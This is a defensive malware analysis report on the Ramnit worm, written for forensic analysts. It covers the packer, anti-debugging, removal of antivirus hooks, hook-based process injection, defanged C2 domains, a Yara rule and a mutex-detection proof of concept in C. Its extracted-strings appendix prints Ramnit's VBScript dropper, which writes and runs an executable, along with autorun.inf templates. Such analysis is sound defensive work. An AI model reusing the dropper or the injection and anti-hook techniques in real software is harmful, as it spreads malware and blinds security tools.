Ramnit Analysis by Alexander Hanel

[email protected] Version1 May16,2013 TableofContents ExecutiveSummary Introduction Identification FileInformation MalwareFamily Propagation HostArtifacts InstallationSummary Files Persistence Registry Pipes Mutex AntiDebuggingandPacker AntiHookFunctionality ProcessInjection IdentifyingonaLiveSystem CommandandControl URLs&IPs Appendix: SourcesandReferences AntiHookAPIList CalculatedMutex HookInjectionNotes YaraSignatures OpenSourceIntelligence CommonStrings ThankstoDanielPlohmannandGlennEdwardsfortheeditsandfeedback.

Executive Summary
ThisdocumentisananalysisofpartsofRamnitthatIfoundinterestingorworthnoting.The intendedaudienceismalwareandforensicanalysts. Disclaimer:ThisisnotacompleteanalysisofallcomponentsandfunctionalityofRamnit.

Introduction
AnyoneworkingwithmalwareorincidentresponsehasheardofRamnit.Ithasbeenlabeledby Microsoftasoneofthemostprevalentfamilyofmalware.WhenitwasfirstobservedinAprilof 2010,Ramnitwasconsideredtobeagenericwormwithnotmuchcredibilityasarealthreat.In 2011malwareauthorsmodifiedthesourcecodetobemorenefarious.Inrecentmonthsthe authorshaveaddedmorecapabilitiessuchasManInTheBrowser(MITB)injection,AVfile blockingandencryptiontoprotecttheircommandandcontrolcommunication.Duetothe increasedlegitimacyofthethreatcausedbythismalwareIwantedtotakealookatit.The samplewaschosenatrandom.Theproblemwithselectingasampleatrandomisthatthe chancesofselectinganewvariantareslim.WhenIopenedthesampleinadebuggerIwas instantlyintriguedwithitsantidebugging,encoding,packer,injectionmethodandothernoteable features.HourslatersafteradecentlycommentedIDB,Inoticedthecompiledatawas 2010/11/20Sat00:28:49UTC.IdecidedtokeepreversingthemalwarebecauseIwasableto findgapsinmytoolsandknowledgebase.Partsofthisdocumentreadslikeamalwareincident responsereportwhileothersectionsgodeepintoareasthatwereuniqueorinteresting.

Identification
File Information
SHA256: SHA1: MD5: Filesize: Filename: Filetype: b2b56ff4227034bcb2d537c98c41df8be94b7ac58bcbd11f8bc7b46c3ebc5ca5 de1f5fe91eaba2722f5ff90578ca7332e39c3e83 49e486fcc7da44f12a4598258011b580 84.5KB(86528bytes) SAFlashPlayer.exe Win32EXE

Malware Family
Ramnit,PalevoandKoobface.PleaseseeAppendix,SourcesandReferences[1]forthe VirusTotalresults.

Propagation
Itisunknownhowthissamplewasdistributed.Thesamplewasoriginallysubmittedto VirusTotalon2013021901:11:28UTC.Ramnithasbeendistributedbyinfectingexecutables, dynamiclinklibraries(DLL),HTMLfiles[2]andinfectingremovabledrives.Recentversionsof themalwarehaveaddedfinancialstealingcapabilitiesaswellasMITBwebinjectioncapabilities

[3].Exploitskitsandspambasedsocialengineeringattackshavebeenrecentlyusedbythe distributors[4]tospreadthemalware.Thisapproachfollowscurrenttrendssetbyother financiallymotivatedmalwaredistributorssuchasCridexandCitadel.

AnalystNotes:TheexecutablescanbeextractedfromtheHTMLbyusingpecarv.pyabad.html.

Host Artifacts
Installation Summary
Uponexecutionthemalwarewillunpackitself,copyntdll.dllandkernel32.dlltotempfilesand placetheminthetempdirectory.Thesefilesareusedtoremoveanyinlinehooks[See Appendix,AntiHookFunctionality].Onceithascompletedremovingtheinlinehooksitwill deletethetemporaryfiles.Itwillthenlocatethefilepathofthedefaultbrowser.Thisisusedasa dummyprocessthatisinjectedinto.Themalwarewilladjusttheprocesstokenprivilegesto havedebugrights.AninlinehookiscreatedattheaddressofZwWriteVirtualMemoryinthe originalprocess.Thishookistriggeredwhenanewprocessiscreated.Whenthehookis completed,itwillcreatetheprocessofthedefaultbrowser.Whichwilltriggerthehookthatis responsibleforinjectingthemalwareintothedummyprocess.Themalwarewillnowberunning inthememoryspaceofthedummyprocess.Themalwarewillcreateafilenameddmlconf.dat intheInternetExplorerprogramfolder.Themalwarewillcreateacopyofitselfwitha pseudorandomfilenameanddirectorytotheprogramsfolder.Themalwarewillcreatea temporaryfileinthenewlycreateddirectoryinstallfolder.

Files
%ALLUSERSPROFILE%\StartMenu\ProgramsStartup\gsyxsgyu.exe87KB Copyoftheoriginallydroppedexecutable. %PROGRAMFILES%\djIKaYnU]Ogsyxsgyu.exeDirectory Thedirectorynameisrandomperinstallandmachine.Thefolderpathisactuallyabug intheauthorscode.ThefilenameiscopiedfromthetheStartupfolder.MostHIPS basedsoftwareshouldalertonanfilewithtwo.exeinthefilename. %PROGRAMFILES%\djIKaYnU]Ogsyxsgyu.exe\gsyxsgyu.exe87KB Thefilenameisuniqueperinstallandwillremainstaticpermachine. %PROGRAMFILES%\InternetExplorer\dmlconf.dat 1KB Hardcodedstaticfilename.

Persistence
Themalwarecanremainpersistentonthemachinebywritingacopyofitselfto%USER%\Start Menu\Programs\Startup\.Itwillfindthefolderpathvaluebyreadingtheregistryvalueat HKEY_CURRENT_USER\'Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders.

Registry
Norecovereddatawasfoundintheregistryhoweverthemalwaredoesreadvaluesfromthe registrytofindsystemrelatedsettings.

Pipes
NopipesorAPIsrelatedtoworkingwithpipeswereobserved.

Mutex
ThemutexisacalculatedvalueusingLinearCongruentialGeneratorwhichisseededwiththe serialvolumeinformation,astaticvalueandformattedtolooklikeaclassid.Thegeneratoris calledsixtimes.Eachtimethevalueintoacharstringandthenformattedwiththefollowing "{%08X%04X%04X%04X%08X%04X}".TheclassidispseudorandomandisusedbyRamnit tocheckifithasalreadyinfectedamachine.Anexampleofacalculatedmutexwouldbe {7CC2761377A9278D2C1C6AE821F1BA18}.Thealgorithmisstaticacrossanumberof samples.

Aproofofconcept(POC)ofthealgorithmcanbefoundintheAppendix,CalculatedMutex.The aboveimageistheoutputofthePOConamachineinfectedwithRamnit.Thecodeiswrittenin C.
AnalystNote:TolocatethefunctionresponsibleforcreatingthemutexsearchforGetVolumeInformationAandthe string'{%08X%04X%04X%04X%08X%04X}'

Anti-Debugging and Packer

Thefirststageofthepackerusesacombinationofbitshiftingandexceptionhandlingtoprevent staticanalysisanddebugging.TheantidebuggingcodewillfirstXORablockofcode,thenset upanexceptionhandler,triggerthehandlerbycallingint2Fh,calculateanoffsetbyusingROR andXOR,thisaddresswillbesetastheexceptionhandlerandthenexecutetheprivilege instructionWBINVDtotriggeranexception.Thepackerwillthenreplacethereturnaddresson thestackwithanoffsetandthenexecuteretn.NextitwillXORanotherblockofdataandonce theblockofdataisdecodeditwillcallVirtualAllocEx.Instagetwoalargeblockofboringcodeis copiedandexecutedintheheap.Itwillreturnfromtheheapbycreatingathread.Allofthe

antidebuggingcanbebypassedbysettingabreakpointonCreateThreadandthensettinga hardwarebreakpointonthestartaddress.Thiswillreturntothestartofstagethree.Thisstage isaUPXpackedexecutable.Scrollingdowntosubesp,80andsettingabreakpointonthe followingjmpcanbeusedtobypassUPX.Onceweareunpackedwewillbeastagefour.This stageisresponsibleforremovinghooksandtheprocessinjection.

AnalystNotes:Fromasmallsamplesetthispackerhasafilesizerangeof86KBto94KB.TodumpinOllydbgbp CreateThread,F9,bponStartAddress,F9,scrolldowntosubesp,80,bponthisline,F9,F8,F8,OEP.

Anti-Hook Functionality
Ramnitincludesfunctionalitytoremoveinlinehooks.Toaccomplishthisitwilllocatethefilepath ofntdll.dll,createatemporaryfilenamewithaprefixstringof~TMinthe%TEMP%directory andthencopyntdll.dlltoit.Anexampleofthefilenameandpathwouldbe "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~TM424.tmp".OncetheDLLhasbeencopiedto thetempfile,itwillthenbemappedintomemory.ThemappedfilewillhaveitsPortable ExecutableFileFormatparsedtolocatethestartoftheexports.NextitwillsearchthenforAPI bynameandlocatetheiroffset.ForeachAPInameitwillcopy0x400bytesfromthemapped DLLintothematchingAPIaddressoftheDLLloadedintheprocessspacebytheWindows Loader.Bycopyingthecode/bytesfromthemappedDLLintotheWindowsLoadedDLLitwill overwriteanyinlinehooksinusermodeplacedbyantivirusorotherhostintrusionprevention software.OncethisiscompletedforthesetofAPIsinntdll.dll,itwillstarttheprocessoverfor kernel32.dll.ThecompletelistofAPIscanbefoundintheAppendix,AntiHookAPIList.
AnalystNotes:TofindthisfunctionalitylocatethefunctionsthatcallGetTempFileName,CreateFileMapping,and MapViewOfFile.

Process Injection
Ramnitcontainsauniqueapproachforinjectingintoprocesses.Thetechniqueisnotable becauseitusesaninlinehooktotriggerthefunctionresponsibleforinjectinginthedummy process.Thistechniqueisusedtobreakmonitoringofprocessflow.Monitoringtoolsdonot typicallymonitorprocessexecutionfromwithinkernel32.dllandotherMicrosoftWindows libraries.FSecurewroteaboutthistechniqueinJulyof2011[5].PleaseseeAppendix,Hook InjectionNotesfordetailsonthetechnique.
AnalystNote:WriteProcessMemoryandCreateRemoteThreadarecommonlymonitoredAPIcallsbyantivirusand HIPSbasedsoftware.

Identifying on a Live System

TheeasiestwaytoidentifyRamnitonalivesystemistolookfortheinjectedprocess.Itwill injectintothedefaultbrowserorsvchost.exe.Iftheinjectedprocessissvchost.exe,itwill differentiatefromothersrunningduetonotrunningasachildofservices.exe.Somevariantswill createoneinstanceoftheinjectedprocesswhileotherswillcreatetwoinstancesofthe process.Ramnitneedstobeloadedatspecificoffsetswithintheaddressspaceoftheinjected process.Theseaddressesaretypically0x20010000,0x20020000or0x20030000.

AnalystNote:TheaboveimageisascreenshotofthetoolProcessHacker.Itisanextremelyeffectivetool forsearchingmemoryanddumpingoutthememoryonalivesystem.

IntheimageabovewecanseethatIEXPLORE.exehasanexecutable(MZheader)injectedat thememoryaddress0x20010000.Ifweweretodumpthe56kbofmemoryatthisaddresswe wouldhavetheRamnitmemorydump.Otherindicatorswouldincludesearchingfortheclassid Mutex.ThiscanbedoneinProcessExplorerviaFind>FindHandleorDLL..>andusemutant asthesearchparameter.Bybrowsingforamutantinthestyleofaclassidwewillbeableto findapotentialprocess.

Intheimageabovewecanseetheclassidformattedlikeaclassidintheprocessof IEXPLORE.exe.

Themisnamedfolderisanotherbigclue.AYarasignaturetodetectRamnitwhileinmemoryhas beenprovided,seeAppendix,YaraSignature.

Command and Control

URLs & IPs
TheURLsandIPsmaynotbepresentinmemorydumps.TheURLsandIPsarestoredinthe executable.Theyarenotstoredinplaintextbutareencodedusinglogicalbitshifting.IftheURLs andIPsarenotpresentitispossibletorecovertheminIDA.
AnalystNotes:IDAPythoncanbescriptedtosearchforXOR.ThefollowingPythoncodecanbeusedtodecodethe URLs.Thekeyandbufferwillbepassedasargumentstothedecodingfunction. forc,binenumerate(x.buffer): temp+=chr(ord(b)^ord(key[(c+1)%4]).

ManyoftheURLslooktoberandomandhintaDomainGenerationAlgorithm(DGA)butthey arehardcoded.FormoreURLsandIPusedbyRamnitpleaseseeAppendix,OpenSource Intelligence.TheURLsextractedfromthesamplecanbeseenbelow. glavdamn[.]com vtegsbrxgcd[.]comf rtiugiunydbtrv[.]com weterysrtujgfh[.]com wereryjgfdbrtrtbrtb[.]com

Appendix:
Sources and References
[1]VirustotalResultsoftheSample https://www.virustotal.com/en/file/b2b56ff4227034bcb2d537c98c41df8be94b7ac58bcbd11f8bc7b46c3ebc5ca 5/analysis/ [2]TakingaLookatW32/RamnitbyGuilhermeVenereofSymantec http://blogs.mcafee.com/mcafeelabs/takingalookatw32ramnit [3]RamnitEvolutionFromWormtoFinancialMalwarebyAyeletHeymanofTrusteer https://www.trusteer.com/blog/ramnitevolution%E2%80%93wormfinancialmalware [4]BlackholeRamnitsamplesandanalysisbyMila http://contagiodump.blogspot.com/2012/01/blackholeramnitsamplesandanalysis.html [5]VirusThatBlocksItselfbyWayneofFSecure. http://www.fsecure.com/weblog/archives/00002138.html References

http://www.seculert.com/blog/2012/01/ramnitgoessocial.html

Anti-Hook API List

BelowisalistofdllsandAPIsthatarerewrittenovertoremoveanyinlinehooks. ntdll.dll LdrLoadDll LdrGetDllHandle LdrGetProcedureAddress RtlInitUnicodeString RtlUnicodeStringToAnsiString RtlFreeAnsiString RtlInitString RtlAnsiStringToUnicodeString RtlFreeUnicodeString ZwProtectVirtualMemory RtlCreateUserThread ZwFreeVirtualMemory ZwDelayExecution ZwQueryInformationProcess ZwQuerySystemInformation ZwWriteVirtualMemory kernel32.dll CreateRemoteThread WriteProcessMemory VirtualProtectEx VirtualAllocEx SetThreadContext CreateProcessA CreateProcessInternalA CreateProcessInternalW CreateFileA CreateFileW CopyFileA CopyFileExW

Calculated Mutex
ThefollowingCcodewillcalculateaRamnitMutexandthencheckforthepresenceofthe mutexonthemachine. //CreatedbyAlexanderHanel.ThefollowingPOCwillcalculateramnitmutex.

#include<stdio.h> #include<windows.h> #include<tchar.h> #defineARRAYSIZE(a)(sizeof(a)/sizeof(a[0])) intrand_int(intrnd_seed) { intk1 intix=rnd_seed k1=ix/127773 ix=16807*(ixk1*127773)k1*2836 if(ix<0) ix+=2147483647 rnd_seed=ix returnrnd_seed } intmain(intargc,char*argv[]) { charmute[31] inta,b,c,d,e,f intnew_seed HANDLEhMutex TCHARvolumeName[MAX_PATH+1]={0} TCHARfileSystemName[MAX_PATH+1]={0} DWORDserialNumber=0 DWORDmaxComponentLen=0 DWORDfileSystemFlags=0 //Reference/Help http://www.dreamincode.net/forums/topic/70779howtousemsdnfunctions%26gt%3Bgetvolu meinformation/ if(GetVolumeInformation( _T("C:\\"), volumeName, ARRAYSIZE(volumeName), &serialNumber, &maxComponentLen, &fileSystemFlags, fileSystemName, ARRAYSIZE(fileSystemName))) {

a=rand_int(serialNumber) new_seed=a //staticvalueadded a+=2035 b=rand_int(new_seed) new_seed=b b=b%0x000FFFF c=rand_int(new_seed) new_seed=c c=c%0x000FFFF d=rand_int(new_seed) new_seed=d d=d%0x000FFFF e=rand_int(new_seed) new_seed=e f=rand_int(new_seed) new_seed=f f=f%0x000FFFF wsprintf(mute,"{%08X%04X%04X%04X%08X%04X}",a,b,c,d,e,f) printf("SerialNumbersis%x\nCalculatedMutexis%s\n",serialNumber,mute) hMutex=CreateMutexA(NULL,FALSE,mute) if(hMutex==NULL) printf("CreateMutexFailed,error%d\n",GetLastError()) else if(GetLastError()==ERROR_ALREADY_EXISTS) printf("WARNING:openedanexistingcalculatedRamnitmutex...\n") } else printf("ERROR:Couldnotgetvolume...probalynottheC:\\drive\n") return0 }

Hook Injection Notes

Firstthemalwarewilladjustit'sprivilegestohaveSeDebugPrivilegebycalling AdjustTokenPrivileges.Themalwarewillthenpatchtheaddressofntdll.ZwWriteVirtualMemory withatrampolinethatreturnstoitsownaddressspace. AssemblyfromZwWriteVirtualMemory.NotethisistheaddressthatOllydbggives.Ifwewereto openupntdll.dllinIDAthefunctionwouldbelabeled_NtWriteVirtualMemory.
7C90DF8F 90 NOP

7C90DF90 E9AD4BAF83JMPb2b56ff4.00402B42addressofZwWriteVirtualMemory 7C90DF95 BA0003FE7F MOVEDX,7FFE0300 7FFE0300 7C90DF9A FF12 CALLDWORDPTRDS:[EDX] 7C90DF9C C21400 RETN14 ............ ............ UPX0:00402B42 push ebp calledfromkernel.7C81A636 UPX0:00402B43 mov ebp,esp UPX0:00402B45 add esp,0FFFFFFF8h UPX0:00402B48 push [ebp+arg_10] UPX0:00402B4B push [ebp+arg_C] UPX0:00402B4E push [ebp+arg_8] UPX0:00402B51 push [ebp+arg_4] UPX0:00402B54 push [ebp+hProcess] UPX0:00402B57 call dword_40526A &003E0005 UPX0:00402B5D pusha UPX0:00402B5E cmp _start_MZ,0

Theaddressdword_40526Aisapointerthatreferencesablockofmemorythatisallocatedon theheap.Theheapcontains15bytesthatwouldbepresentatZwWriteVirtualMemoryifithadn't beenpatched.Belowisthecode.

003E0005MOVEAX,115 003E000AJMPntdll.7C90DF95 .... 7C90DF95 BA0003FE7F 7C90DF9A FF12 7C90DF9C C21400 #defineSYSCALL_NTWRITEVIRTUALMEMORY_XP0x0115

MOVEDX,7FFE0300 7FFE0300 CALLDWORDPTRDS:[EDX] ntdll.KiFastSystemCall RETN14

ThehookistriggeredwhenthemalwarecallsCreateProcessinkernel32.dllwhichcalls CreateProcessInternalAinkernel32.dllwhichcallsRtlCreateUserProcessinntdll.dllwhichcalls NtWriteVirtualMemoryinntdll.dll.AfterthehookofZwWriteVirtualMemoryiscompleteditwillcall CreateProcessAwithiexplore.exeforthecreatedprocess.Thiswilltriggertheinlinehook.Once thehookhandlercallsZwWriteVirtualMemoryitwillstarttheinjectionprocess.

Yara Signatures
ruleramnit_memory_signature { strings: $hex_string={0355086a1952e8????????0461880646e2eec7062e6578 6583c604c60600} condition: $hex_string }

Open Source Intelligence

Duetotheuseofthecalculatedmutexbasedoffofthevolumeserialnumberthirdparty malwareanalysissitescanbeusedtoharvestmoreURLs&IPs. Thefollowinggooglesearchescanbeused. site:threatexpert.com"1976681C5B717A19AEFE0C985A1C50FD" site:virustotal.com{65D180CABACE614C72395ABDD5E947B0}

Common Strings
%ProgramFiles% %CommonProgramFiles% %HOMEDRIVE%%HOMEPATH% %APPDATA% :///: POSTGETHTTP/*.* Host:{*} Referer:{*} /GET/%sHTTP/1.1 Host:%s UserAgent:Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1SV1) Accept:text/html,application/xmlq=0.9,application/xhtml+xmlq=0.9,image/png, image/jpeg,image/gif,image/xxbitmap,*\*q=0.1 AcceptCharset:utf8,utf16,iso88591q=0.6,*q=0.1 Pragma:nocache Connection:close HTTP/1.x301MovedPermanently Server:Apache/2.2.14 Expires:Mon,26Jul199705:00:00GMT CacheControl:maxage=0 Pragma:nocache Connection:KeepAlive ContentType:text/html Location:Date:LastModified:ddd','ddMMMyyyy hh':'mm':'ssGMT vCheckSumMappedFile v</SCRIPT> <SCRIPTLanguage=VBScript><! DropFileName="svchost.exe" WriteData="" SetFSO=CreateObject("Scripting.FileSystemObject") DropPath=FSO.GetSpecialFolder(2)&"\"&DropFileName IfFSO.FileExists(DropPath)=FalseThen SetFileObj=FSO.CreateTextFile(DropPath,True)

Fori=1ToLen(WriteData)Step2 FileObj.WriteChr(CLng("&H"&Mid(WriteData,i,2))) FileObj.Close EndIf SetWSHshell=CreateObject("WScript.Shell") WSHshell.RunDropPath,0 //></SCRIPT><!>RmN autorun.inf [autorun] action=Open icon=%%WinDir%%\system32\shell32.dll,4 shellexecute=%s shell\explore\command=%s USEAUTOPLAY=1 shell\Open\command=%s %s\RECYCLER\%s\%s.%s %RUNNER_EXTENTION_PATH%MZ \/INTEL_CEDR_STORE %RUNNER_EXTENTION_PATH% 22&2,222 j\\.\STORAGE#Volume#_??_USBSTOR#%s#%s#{53f56307b6bf11d094f200a0c91efb 8b}#{53f5630db6bf11d094f200a0c91efb8b}%s \\.\STORAGE#Volume#1&19f7e59c&0&_??_USBSTOR#%s#%s#{53f56307b6bf11d0 94f200a0c91efb8b}#{53f5630db6bf11d094f200a0c91efb8b}%s \\.\STORAGE#RemovableMedia#%s#{53f5630db6bf11d094f200a0c91efb8b}%s \DosDevices\ SYSTEM\MountedDevices SYSTEM\CurrentControlSet\Enum\USBSTOR ParentIdPrefix USBSTOR\%s\%s 7&%x&0&RM %s\CopyofShortcutto(%d).lnk MicrosoftWindows.MicrosoftCorporation USERPASSCWD CDUPQUITPORTPASVTYPEMODERETRSTORAPPERESTRNFRRNTOABORDELER MDMKDLISTNLSTSYSTSTATHELPNOOPSIZEEXECPWD 200NOOPok. 211Status:undefined 213%lu 214Helpiddisabled 220220RMNetworkFTP 221Bye! 227EnteringPassiveMode(%i,%i,%i,%i,%i,%i).

230Userloggedin,proceed. 257directorycreated. 331Passwordrequiredfor%s. 350RESTsupported.Readytoresumeatbyteoffset%lu. 425Can'topendataconnection. 451Requestedactionaborted:localerrorinprocessing. 500Syntaxerror,commandunrecognized. 501Syntaxerrorinparametersorarguments. 503Badsequenceofcommands. 530Notloggedin. 530LoginorPasswordincorrect. 200Typesetto%c. 257"%s"iscurrentdirectory. 150Dataconnectionaccepted. 226Transferok 215UNIXType:L8 200Portcommandsuccessful. 550Noportspecified. 150Openingdataconnection. 451Failed:Cannotbuilddataconnection. 250CWDcommandsuccessful. 550Nosuchfileordirectory. 426Cannotretrieve.Failed.Aborting. 266ABORcommandsuccessful. 250Filedeletedsuccessfully. 250Directoryremoved. 350Fileexists.Readyfordestinationname. 250Filerenamedsuccessfully. 250Fileexecutedsuccessfully. drwxrwxrwx1ftp ftp 0Jan011980C: rwrwrw1ftp ftp%11lu%s%2.2i%s%s %2.2i:%2.2i .exe.bat.com.scr.cmd.pif 4pC:\ProgramFiles\InternetExplorer\dmlconf.dat 39030d37828cdf430aed345fd2be409f 9854bd9 281251a0df1cca568334e8c659854bd9 7823f478afef21b0414ba48fb89f9355 C:\ProgramFiles\InternetExplorer\complete.dat